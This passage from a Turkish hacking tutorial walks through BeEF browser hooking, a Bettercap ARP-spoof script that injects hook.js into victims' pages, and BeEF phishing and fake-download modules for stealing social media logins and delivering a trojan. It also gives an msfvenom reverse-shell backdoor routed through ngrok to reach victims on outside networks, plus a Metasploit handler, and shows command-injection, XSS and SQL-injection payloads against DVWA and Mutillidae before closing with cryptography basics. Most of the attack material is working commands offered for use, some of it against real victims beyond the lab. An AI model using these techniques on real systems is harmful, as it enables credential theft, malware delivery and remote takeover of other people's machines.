diyerek executable script dosyasını çalıştırıyoruz ve kurulumu yapıyoruz. Başarılı bir şekilde kurulumu yaptıysak bize şu şekilde bir çıktı verecektir. Default olarak set edilen parolayı değiştirmemiz gerektiği bize söyleniyor. -
nano config.yaml
komutu ile konfigürasyon dosyamızı açabiliriz. credentials altından default olarak set edilen beef şifresini ve kullanıcı adını kendi belirlediğimiz bilgilerle değiştiriyoruz ve kaydedip çıkıyoruz -
Yukarıdaki gibi bir çıktı alacağız. UI URL kısmında beef'e ulaşabileceğimiz adres verilmiş olacak. Browserımızdan ilgili adrese gidiyoruz ve
config.yaml
dosyasında set ettiğimiz değerler ile giriş yapıyoruz
Öncelikle bir web sitesi oluşturmamız lazım. Bu sayede hedef bir bilgisayar bu siteye girdiğinde beef tarafından bize verilen JavaScript kodunu çalıştırabilelim ve hedefimizi oltamıza takmış olalım. Beef'i ilk çalıştırdığımızda bize çalıştırmamız gereken JavaScript kodunun (HOOK URL -> hook.js) adresini zaten vermektedir.
Benim makinam için -> http://192.168.1.105:3000/hook.js
Biz zaten üst başlıklardan Kali makinamızı web sunucu olarak kullanabildiğimizi biliyorduk. Aynı şekilde tekrar bu aşamada web sunucumuzu başlatıyoruz ve dilersek hedefimize göstermek istediğimiz index.html'i oluşturuyor/editliyoruz. Ben içeriğini tek satır olarak değiştirdim.
root@covid-x:/var/www/html# cat index.html
>>> <h1>Merhaba Guzel Kardesim, Hacklendin Gecmis Olsun ^^</h1>
Peki burada Beef'in olayı nerede? Yukarıda demiştik ki Beef bize hook.js
adında bir dosya ve bu dosyanın yolunu veriyor. Yapmamız gereken normal bir web sitesine JavaScript kodu ekler gibi bu adresteki hook.js
'i index.html dosyamızın içeriğine eklemek
Bize verdiği adres aslında Beef'i çalıştırdığımız, yani Kali makinamızın IP adresidir. Eğer sizde bu adresi vermez ise ifconfig
ile IP adresinizi öğrenebilirsiniz ve http://IP_ADRESINIZ/hook.js
şeklinde kullanabilirsiniz
Ardından Windows Hedef makinamızda bu siteye (yani Kali üzerinde oluşturduğumuz web sunucuya) istek atınca hedefimiz oltaya takılmış olacak ve Beef Panelde gözükecektir. Nasıl istek atacağımızı da üst başlıklarda görmüştük.
-
Windows Makinadan, Kali Makinaya istek atıyoruz ve Kali altında çalışan web sunucumuz içindeki
index.html
serve ediliyor, içerisinden dehook.js
çağrılıyor -
Kali makinamızda çalışan Beef otomatik olarak oltaya takılan makinayı görüyor. Şu anda hedef browser'a karşı ciddi bir güç sahibiyiz. Browser kapanırsa gücümüzü kaybederiz!
Peki illa hedefi bu siteye, adrese sokmak zorunda mıyız? Hayır. MITM tekniği kullanarak JS enjeksiyonu yapmayı görmüştük. Bu tekniği kullanarak Beef tarafından bize verile JavaScript'i hook.js
'i enjekte edeceğiz. Aşağıda verilen JavaScript kodunu herhangi bir dosyaya kaydediyoruz. Ben Desktop/my_code.js
olarak kaydettim. Bu JavaScript kodu ve MITM ile kullanıcı her siteye girdiğinde bu JavaScript'i ona enjete edeceğiz. Bu JavaScript'de bize Beef tarafından verilen JavaScript'i kullanıcının girdiği siteye enjekte edecek. Bu sayede hangi siteye girerse girsin Beef ile izleyebileceğiz
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script type="text/javascript" src="http://BEEF_HOOK_IP_ADRESINIZ:3000/hook.js"></script></head>'
);
}
}
}
Ardından Bettercap sayesinde hedefimize karşı ARP spoof yapıyoruz ve MITM taktiği ile ona Masaüstüne oluşturduğumuz my_code.js
adlı kodu enjekte ediyoruz. /root/Desktop/my_code.js
dizini ben Desktop altında my_code.js adında dosya oluşturduğum için bu dizilimi aldı. Siz başka dizin altında başka isimde dosya oluşturursanız sizin dizin değişiklik gösterebilecektir.
» set arp.spoof.fullduplex true
» set arp.spoof.targets 192.168.1.218
» set http.proxy.script /root/Desktop/my_code.js
» http.proxy on
» arp.spoof on
Tekrar Beef Panel'e baktığımızda kullanıcının oltaya takılmış olduğunu göreceğiz. Unutmayalım bu taktik de HTTP sitelerde işe yarayacaktır. HTTPS sitelerde çalıştırmak için ilgili bölüme bakabiliriz.
Beef Panel'de Commands sekmesi altında işimize yarayacak bir çok event mevcuttur. Spyder Eye hedef browser'dan ScreenShot almamızı sağlar.
Yeşil Event'lar kesin çalışır anlamına gelmektedir
Beyaz Event'lar muhtemelen çalışır anlamına gelmektedir
Turuncu Event'lar düşük bir ihtimalle çalışır anlamındadır
Kırmızı Event'lar ise denemeye değer anlamına gelmektedir
İlgili event'i seçiyoruz ve sağ alttan execute butonuna tıklıyoruz. Bizim için ilgili event'i çalıştıracaktır. Ortadaki kolonda event sonuçlarını görebiliriz. Bizim yaptığımız event sonucunda ise hedef browser'dan ekran görüntüsünü çalmış oldu
Commands altından Hooked Domain > Create Alert Dialog eventine geliyoruz. Diyalog metnimizi girip execute ediyoruz
Sosyal medya hesaplarını bu yöntem ile çalabiliriz. Kısaca bize oturum süresi doldu yeniden giriş yap der. Diyalogtan girilen bilgileri arka planda alıyoruz
Socail Engineering > Pretty Thieft giderek bu event'i çalıştırabiliriz. Hangi sosyal medya için diyalog açacağımızı, hangi renkte olacağını ve logosunu set edebiliriz.
Socail Engineering > Fake Notification Bar(ilgili browser) giderek bu event'i çalıştırabiliriz. Browser bir uyarı verecektir ve şu dosyayı indirmeniz gerekmektedir diyecek. Bizim belirlediğimiz trojan'ın adresini set ederiz ve baam! Hedefimiz eğer bu numaraya kanarsa trojanımızı indirmiş olacak.
Öncelikle Veil kullanarak bir trojan oluşturuyorum ve oluşturulan trojanımı /var/www/html
yani Kali makinedeki web sunucu altına taşıyorum
Beef Panel'de URL kısmına trojanımız web sunucudaki adresini(kendi IP adresim/trojan_path) giriyorum, bu sayede hedef indir butonuna basınca ilgili adresten trojan indirilmiş olacak. Text kısmında da gösterilmesini istediğim text'i set edip execute ediyorum ve kullanıcıya bir uyarı çıkıyor, indir butonuna bastığı an trojanımızı indirmiş oluyor. Hedef dosyayı çalıştırdığı an msfconsole multi handler ile açılan bağlantıyı dinlemeye başlıyoruz.
Dış ağlarda 2 yöntem ile saldırı yapabiliriz.
1-) Port Forwarding (Port Yönlendirme)
- Bir trojan oluşturuyoruz ve Public IP adresimize yönlendiriyoruz. Ardından belirlediğimiz Portta multi handler çalıştırıp gelen bağlantıyı yakalıyoruz. (veil - msfcoonsole)
2-) Tunneling (Tünel Servisleri)
- Bize bir IP adresi verilir (ngrok vb.).
- Bağlantıyı Kurban makinadan bu bize verilen IP adresine yönlendiriyoruz.
- Tünel servisi de gelen bağlantıyı bize yönlendiriyor.
- Bizde Kali makinamızdan bu bağlantıyı yakalıyoruz.
- Bu işleme Tunneling denmektedir.
Aslında bu işlemi üst başlıklarda yapmıştık. Tek fark orada aynı ağdayken local IP'mizi LHOST olarak set ediyorduk. Eğer Public IP adresimizi set edersek kurbanlar bizim Public IP adresimiz üzerinden bağlantı açacaklar ve bu sayede dış ağdaki insanları hackleyebileceğiz
Localimizdeki sunucuları İnternet'e açmamızı sağlar.
Biz tünel servisi olarak ngrok kullanacağız.
- Bu servisi kullanmak için ngrok'a kayıt olmamız gerekmektedir.
- Kayıt oldultan sonra giriş yapıyoruz ve ngrok'u indiriyoruz.
- ngrok tarafından bize bir token veriliyor, bu sayede yaptığımız işlemler ngrok tarafından kontrol edilebiliyor
- İndirdiğimiz dosyayı zip'ten çıkartıyoruz
./ngrok <TOKEN>
komutunu çalıştırıyoruz ve authenticate oluyoruz
>>> Authtoken saved to configuration file: /root/.ngrok2/ngrok.yml
-
Artık
./ngrok
yazarak programı çalıştırabiliriz -
./ngrok help
ile yardım menüsünü açabiliriz -
./ngrok tcp 4242
komutu ile 4242 portunda tcp tünel servisi çalıştırıyoruz. Port numarası bize kalmıştır, çok kullanılmayan portları kullanabiliriz -
Bize diyorki
Forwarding tcp://0.tcp.ngrok.io:17651 -> localhost:4242
-
Yani
tcp://0.tcp.ngrok.io:17651
bu adrese istek geldiğinde ben bunu seninlocalhost:4242
adresine yönlendireceğim diyor (bu adresler de kişiden kişiye değişebilir 😇 )
Msfvenom'da Veil'a alternatif olabilecek bir backdoor oluşturma aracıdır.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows lhost=0.tcp.ngrok.io lport=17651 -f exe -o /var/www/html/backdoorum.exe
-p
parametresi oluşturduğumuz backdoor'un(payload) türü-a
architecture yani hedef mimariyi belirttiğimiz yer--platform
hedef platformumuzlhost
ngrok tarafından bize verilen adreslport
ngrok tarafından bize verilen port-f
oluşturulacak dosyanın uzantısı-o
oluşturulan backdoor nereye kaydedilecek- Yine unutmamakta fayda var, bu parametreler makinadan makinaya değişebilmektedir 😇
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows lhost=0.tcp.ngrok.io lport=17651 -f exe -o /var/www/html/backdoorum.exe
Üst başlıklarda da yaptığımız gibi multi handler oluşturacağız
-
msfconsole
-
use exploit/multi/handler
-
set PAYLOAD windows/meterpreter/reverse_tcp
-
set LHOST 0.0.0.0
ile localhost bağlantımızı dinleyeceğiz. ngrok kendisine gelen bağlantıyı bize yönlendirecek -
set LPORT 4242
ile ngrok'un bağlantıyı yönlendirdiği portu set ediyoruz -
Adres çubuğuna kali cihazımızın IP adresini yazıyoruz ve Kali üzerinde oluşturduğumuz web sunucudan trojan'ı indiriyoruz
-
Trojan çalıştırıldığında bağlantı ngrok üzerinden bize geliyor
-
Kali makinamızda
msfconsole
yardımı ile bağlantıyı dinliyoruz ve hayırlı olsun artık hedef makinayı ele geçirdik
Bu bölümde hedef sistem olarak Metasploitable kullanacağız. Ne demiştik Metasploitable üzerinde bilerek açık bulunduran bir sunucudur. Metasploitable makinamızın IP adresine Kali makinamızdan istek atınca ilgili web sunucuya ulaşabildiğimizi biliyoruz
Bu tool sayesinde bir organizasyona ait DNS ve IP adreslerini bulabiliriz
dnsenum domain
şeklinde kullanıldığında ilgili domain'e ait tüm kayıtlar (A,MX,NS vb.) gösterilir
Bu araç sayesinde de hedef sisteme karşı IP ağ bloklarını, alan adlarını, telefon numaralarını vb. keşfedebiliriz. Temel komut dizilimi şu şekildedir -> dnsmap domain
Hedef'in ağ aralığını bu adres ile belirleyebiliriz. Bir host hakkında bir çok bilgi toplanır. Olası alt alanlar, e-postalar, TCP portu vb. Temel komut dizilimi dmitry domain
'dir.
Bir IP adresi altında bir çok web sitesi barındırılabilir. Bir siteden bulduğumuz IP adresi ile o IP adresindeki diğer siteleri de bulma işlemine Reverse IP denir.
Bu işlem için yougetsignal.com'u kullanabiliriz.
archive.org sayesinde web sitelerinin önceki hallerini bulabiliriz.
dnschecker.org sayesinde de ilgili domaine ait bir çok bilgi elde edebiliriz
Who is sorguları ile de bir domaine ait temel bilgileri elde edebiliriz. lookup.icann.org'u kullanabiliriz. Domain'i kim almış, nereden almış vb.
Hedef web sitelerimizde gizlenmiş dosyalar var mı bunlara bakacağız. Bunun için dirb adı verilen tool'u kullanacağız. Temel komut dizilimi şu şekildedir -> dirb http(s)://domain/IP
hedef domain veya IP adresinde gizli dosyalar var mı buna bakacaktır. Peki bu gizli dosyalar nereden geliyor? dirb içerisinde bir wordlist var ve buna göre kontrol işlemi gerçekleştiriliyor.
Hedef web sitesinin alt adreslerine karşı da saldırı yapmak isteyebilir veya deneyebiliriz. Bu sebeple sub domainleri listelemek de işimize yarayabilir. Bunun için subbrute adı verilen aracı kullanacağız.
- Aracı kurmak istediğimiz dizine gidiyoruz ve
git clone https://github.com/TheRook/subbrute.git
komutunu çalıştırıyoruz. cd subbrute/
ile proje dizinine gidiyoruzpython3 subbrute.py baysansoft.com
komutu ile hedef adrese ait alt adresleri listeleyebiliriz
Bu bölümde metasploitable makinamız üzerindeki sunucudan DVWA'e bağlanacağız. Kullanıcı adı -> admin password -> password olarak giriş yapabiliriz.
DVWA Security sekmesinden güvenlik seviyesini en düşüğe (low) getiriyoruz. Henüz başlangıç aşamasındayız bu sebeple en düşük güvenlik seviyesiyle karşılaşmak temelleri öğrenebilmemiz açısından faydalı olacaktır.
Command Execution sekmesinden form input'a aynı zamanda bir terminal komutu yazıyoruz ve görüyoruz ki komut execute oluyor. Bu tür açıklara Command Execution Vulnerability denmektedir
Aynı input'ta IP;mkdir deneme
komutunu çalıştırıyoruz ve ardından IP;ls
komutunu çalıştırıyoruz. Gördük ki başarılı bir şekilde komutları çalıştırabiliyoruz.
Cross Site Scripting yani Siteler Arası Betik Çalıştırma anlamına gelir. Hedef web sitesine JavaScript kodu enjekte edebilmemizi sağlar. Bu sayede hedef web sitesine giren bir çok kişiyi hackleyebiliriz.
Bu bölümde yaptıklarımızı Beef ile birleştirerek daha extreme işler ortaya çıkartabiliriz 😇
Bir kişinin bilgisayarında bu zararlı kodu çalıştırmak istersek kurbanımızın bu linke tıklaması gerekmektedir. Peki URL ile XSS'de nereden gelmektedir? Zararlı kod parçacığını URL içine enjekte edeceğiz. Bu sayede kurban bu linki açtığında ağımıza düşmüş olacaktır.
Metasploitable sayesinde elde ettiğimiz DVWA kullanacağız. Sol menü bardan XSS Reflected sekmesine giriyoruz. Buradaki input box içine girilen değeri alarak Hello şeklinde bir string döndürüyor. Ve fark ettiysek URL kısmında döndürdüğü değeri gösteriyor.
Ardından input'a <script>alert("Hacklendiniz!")</script>
kodunu ekliyoruz. Örnek olması açısından basit bir alert göstereceğiz, fakat dilersek daha extreme kodlar yazabiliriz 😇
Ve submit ettiğimizde JavaScript kodu çalışacaktır. Bu URL'i hedeflere göndererek JavaScript kodunun onlarda da çalışmasını sağlayabiliriz.
Zararlı kodumuzu web sitesine saklayacağız, gömeceğiz. Bu sayede bu siteye giren kişilerin browserında da zararlı kod çalışacak ve onları hackleyebileceğiz.
Bunun için DVWA içerisinden XSS Stored sekmesine giriyoruz. Bu sayfada girilen bir mesaj veritabanına kaydedilmektedir. Biz de burada tekrar JavaScript kodu yazacağız ve hedef sitenin veritabanına yazmasını sağlayacağız. Bu sayede başka biri de bu adrese gelse bu JavaScript kodu çalışacak ve başarıya ulaşmış olacağız.
mysql -u root -h <METASPLOITABLE_IP>
komutu ile Metasploitable makinamız içerisindeki veritabanı sistemine(MySQL) giriş yapıyoruz.show databases;
komutu ile bu makinadaki MySQL veritabanlarını görebiliriz.
# mysql -u root -h 192.168.1.179
MySQL [(none)]> show databases;
>>> +--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+
7 rows in set (0.001 sec)
use db_adi
komutu ile listeden bir veritabanı seçip bağlanabilirizshow tables;
komutu ile bağlandığımız veritabanındaki tabloları listeleyebiliriz
MySQL [(none)]> use dvwa
MySQL [dvwa]> show tables;
>>>
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
2 rows in set (0.001 sec)
exit
komutu ile servisten çıkabiliriz.
Metasploitable web sunucusuna bağlanıyoruz ve Mutillidae sitesine giriş yapıyoruz. Login/Register sekmesinden kayıt oluşturuyoruz.
-
Metasploitable makinamıza gidiyoruz ve
sudo nano /var/www/mutillidae/config.inc
komutunu çalıştırıyoruz.sudo
ön ekini kullandığımız için bizden şifre isteyecektir. Şifreyimsfadmin
olarak girebiliriz. -
Ardından açılan dosya içerisindeki
$dbname
değişkeniniowasp10
olarak değiştiriyoruz.ctrl + x
ardındany
tuş kombinasyonu ile dosyamızı değiştirip çıkıyoruz. -
Daha sonrasında tekrar Mutillidae altından register olarak kullanıcımızı oluşturabiliriz.
Login Page'de herhangi bir username giriyorum ve şifre kısmına '
ekliyorum. Bu sayede web sitesinin veritabanına attığı SQL kodunu yarıda kesiyoruz ve detaylı bir hata alabiliyoruz.
Diagnotic Informatin bölümünden anlıyoruz ki, accounts adında bir tablosu var bu web sitesinin
Bize hatalı kodu gösteriyor: SELECT * FROM accounts WHERE username='admin' AND password='''
Biz bu koda Mantıksal SQL Kodu eklersek aslında SQL Injection yapmış olacağız. Password kısmına sifre1' AND 1=2#
yazarsak şifremiz doğru olmasına rağmen sisteme girmeyecektir. Fakat sifre1' AND 1=1#
yazarsak sisteme girecektir. Çünkü AND 1=1
ile mantıksal bir kod çalıştırıyoruz(sifre1, ben şifremi 'sifre1' olarak belirlediğim için geldi).
Password kısmına 1' OR 1=1#
ve username kısmına admin
yazacağız. Başarılı bir şekilde giriş yapabileceğiz. Bu kod parçacığı bunun arkada şu şekilde işlenmesini sağlayacak -> SELECT * FROM accounts WHERE username='admin' AND password='1' OR 1=1#'
OR 1=1
kod parçacığı mantıksal olarak True döndüreceğinden başarılı bir şekilde giriş yapabileceğiz.
Kelime anlamı Gizli Dünya anlamına gelmektedir.
Kavramsal olarak kriptoloji; haberleşen 2 veya daha
fazla tarafın bilgi alış-verişini emniyetli bir
şekilde yapmasını sağlayan, temeli matematiksel
problemlere dayanan teknik ve uygulamaların bütünüdür.
Kriptoloji; kriptografi ve kriptoanaliz olarak 2'ye
ayrılmaktadır.
- Kriptografi; bir verinin şifrelenmesi ve şifresinin
çözülmesi için kullanılan yöntemlerdir.
- Kriptoanaliz; kriptografik sistemlerin kurduğu mekanizmaları inceleyen ve bunları çözmeye çalışan, kriptografinin zayıf ve güçlü yönlerini ortaya çıkarmaktır.
Bir iletişimde temelde 2 taraf vardır; gönderen
(sender) ve alıcı (receiver / recipient).
- Sender'dan bir veri (plaintext) recipient'a doğru yola çıkar
- Yola çıkan plaintext şifreleme makinesi tarafından encrypt edilir
- Plaintext'in encrypt edilmesi sonucu bir ciphertext oluşur ve recipient'a key (anahtar) ile birlikte gönderilir
- Recipient tarafında ise key sayesinde ciphertext decrypt edilir ve plaintext'e ulaşılır
Kriptolojide, genellikle şifreleme algoritmalarına giriş bekleyen şifrelenmemiş veri anlamına gelir.
Kriptolojide encryption algoritması kullanarak plaintext üzerinde gerçekleştirilen encryption'ın sonucudur.
Encryption ve decryption için kullanılacak algoritmanın güvenilirliği (gizliliği) ile iletişimin güvenilirliği bağlantılı değildir. Güvenlik; algoritmanın gizli kalması değil anahtarın gizli kalmasıdır. Yani bir iletişimde her şey bilinecek (hangi algoritma vs.) fakat anahtar (key) hariç.
Saldırgan;
- Şifreli veriyi elde edebilir (sniffing)
- Şifreli veriyi değiştirebilir ve yeni veriyi alıcı (receiver)'ya gönderebilir
- İletişime geçen iki kişi arasına girerek (MITM) saldırabilir
Saldırgan sadece Ciphertext'in bir kopyasına sahiptir
Saldırgan ciphertext'in kopyasına sahipken ilgili ciphertext'in plaintext'ine de sahiptir
Saldırgan şifreleme makinesine (encryption machine) kısa süreli de olsa erişime sahiptir. Plaintext'i kendisi seçer ve oluşacak ciphertext'i bilecektir
Saldırgan şifre çözme makinesine (decryption machine) kısa süreli de olsa erişime sahiptir. Gelen ciphertext'ten elde edilecek plaintext'i bilebilecektir.
- Simetrik Şifreleme
- Sender ve Recipient arasındaki iletişimde Sender'ın encryption için kullandığı key (anahtar) Recipient tarafında decryption için kullanılan key (anahtar) ile aynıdır. Biraz daha hızlıdır.
- Asimetrik Şifreleme
- Sender veriyi Recipient'ın public key'i (açık anahtar) ile encrypt eder ve gönderir. Recipient ise ciphertext kendisine ulaştığında, sadece kendisine özel olan private key (özel anahtar) ile decrypt eder ve plaintext'e ulaşır.
Sender ve Recipient arasında gidip gelen veriyi saldırgan (attacker) okuyamamalıdır.
Sender'dan çıkan veri recipient'a ulaştığında ilk çıktığı andaki bütünlüğe sahip olması gerekmektedir
Sender'dan çıkan veri acaba doğru recipient'a mı gitti? 2 tip authentication vardır.
- 1 -) Entity Authentication (Varlık)
- 2 -) Data-origin Authentication (Verinin Kaynağı)
Sender veriyi gönderdikten sonra, veriyi göndermediğini iddaa edememelidir. Yani gönderdiğini inkar etmemelidir.
Elektronik imzanın en gelişmiş ve güvenilir biçimidir. Dijital imza; her imzalayanın kimliği ve imzalanan belgenin doğruluğu ile en yüksek güvenceyi sağlar.
Kimlik saptama anlamına gelir. Authenticate olduğumuz sistemin kimliğimizi sisteme ispatlamasıdır.
Sender ve recipient arasında kriptografik anahtarların değişimidir. İki taraf arasında değiş tokuş edilir ve bu sayede kriptografik algoritma kullanılabilir.
Bir sırrı, kendisi ile paydaş olan grubun üyelerine dağıtılması yöntemidir. Sır yalnızca yeterli grup üyesinin bir araya gelmesi (muhtemelen farklı türde roller) ile ortaya çıkabilecektir. Tek başına hiç bir grup üyesinin etkisi yoktur.
İnternet dünyasında kullandığımız protokollerdir. Bu protokollerin başında SSL gelmektedir.